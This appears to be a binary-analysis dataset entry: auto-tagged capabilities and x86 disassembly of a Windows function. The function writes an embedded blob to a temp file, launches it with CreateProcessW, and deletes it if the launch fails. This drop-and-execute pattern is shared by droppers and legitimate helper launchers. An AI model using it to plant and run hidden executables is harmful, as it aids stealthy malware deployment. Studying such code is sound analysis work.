Function at 0x4537f0
Capabilities:
Create process on windows
Delete file
Get common file path
Resolve function by parsing pe exports
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x4a0
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, eax
mov dword [esp + 0x14], 0xc
xor eax, eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 1
cmp ax, word [0x597258]
jne 0x453847
push 0x104
push 0x597258
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x453847
mov word [0x597258], ax
xor al, al
pop ebx
add esp, 0x4a0
ret
xor al, al
je 0x453853
pop ebx
add esp, 0x4a0
ret
lea eax, [esp + 0x74]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [esp + 4], eax
test eax, eax
je 0x453872
cmp eax, 0x104
jbe 0x453889
push 0x509528
lea eax, [esp + 0x78]
push 0x104
push eax
call fcn.004e368f
add esp, 0xc
push esi
lea eax, [esp + 0x14]
push edi
push eax
call fcn.004e36f3
add esp, 4
test eax, eax
je 0x4538a3
mov eax, 0x509524
jmp 0x453908
mov edx, dword [esp + 0x18]
xor ecx, ecx
lea esi, [ecx + 0x5f]
lea edi, [ecx + 0x2d]
nop
mov eax, edx
and eax, 0x3f
cmp eax, 0xa
jae 0x4538c4
add eax, 0x30
mov word [esp + ecx*2 + 0x10], ax
jmp 0x4538f0
cmp eax, 0x24
jae 0x4538d3
add eax, 0x57
mov word [esp + ecx*2 + 0x10], ax
jmp 0x4538f0
cmp eax, 0x3e
jae 0x4538e2
add eax, 0x1d
mov word [esp + ecx*2 + 0x10], ax
jmp 0x4538f0
jne 0x4538eb
mov word [esp + ecx*2 + 0x10], si
jmp 0x4538f0
mov word [esp + ecx*2 + 0x10], di
inc ecx
shr edx, 6
cmp ecx, 3
jl 0x4538b0
xor eax, eax
mov dword [esp + 0x18], edx
mov word [esp + 0x16], ax
lea eax, [esp + 0x10]
push 0x597468
push 0
push eax
lea eax, [esp + 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov dword [esp + 0xc], eax
test eax, eax
jne 0x453951
lea eax, [esp + 0x7c]
push eax
push 0x104
push 0x597468
call fcn.004e368f
push str.E98966F5_9462_4A01_B32E_C76EBCA3AD9C
push 0x104
push 0x597468
call fcn.004e361a
add esp, 0x18
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
push 0x100
push 2
push 0
push 0
push 0x40000000
push 0x597468
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x453a54
push 0
lea eax, [esp + 0x10]
push eax
push dword [0x57efb8]
push 0x56cbb8
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x453a54
mov eax, dword [0x57efb8]
cmp eax, dword [esp + 0xc]
jne 0x453a54
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
test eax, eax
je 0x453a54
push 0
push 0x4000100
push 3
lea eax, [esp + 0x28]
push eax
push 1
push bind
push 0x597468
call edi
push 0x44
mov edi, eax
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.004d2520
mov dword [esp + 0x44], 0x44
call fcn.00453760
push eax
push ebx
push str.1__u__s
lea eax, [esp + 0x29c]
push 0x114
push eax
call fcn.0041ebd0
add esp, 0x20
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0x4000000
push 1
push 0
push 0
lea eax, [esp + 0x2a4]
push eax
push 0x597468
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x453a60
cmp edi, 0xffffffff
je 0x453a49
push edi
call esi
push 0x597468
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop edi
pop esi
xor al, al
pop ebx
add esp, 0x4a0
ret
cmp edi, 0xffffffff
je 0x453a68
push edi
call esi
push dword [esp + 0x2c]
call esi
mov eax, dword [esp + 0x28]
pop edi
pop esi
mov dword [0x597464], eax
mov al, 1
pop ebx
add esp, 0x4a0
ret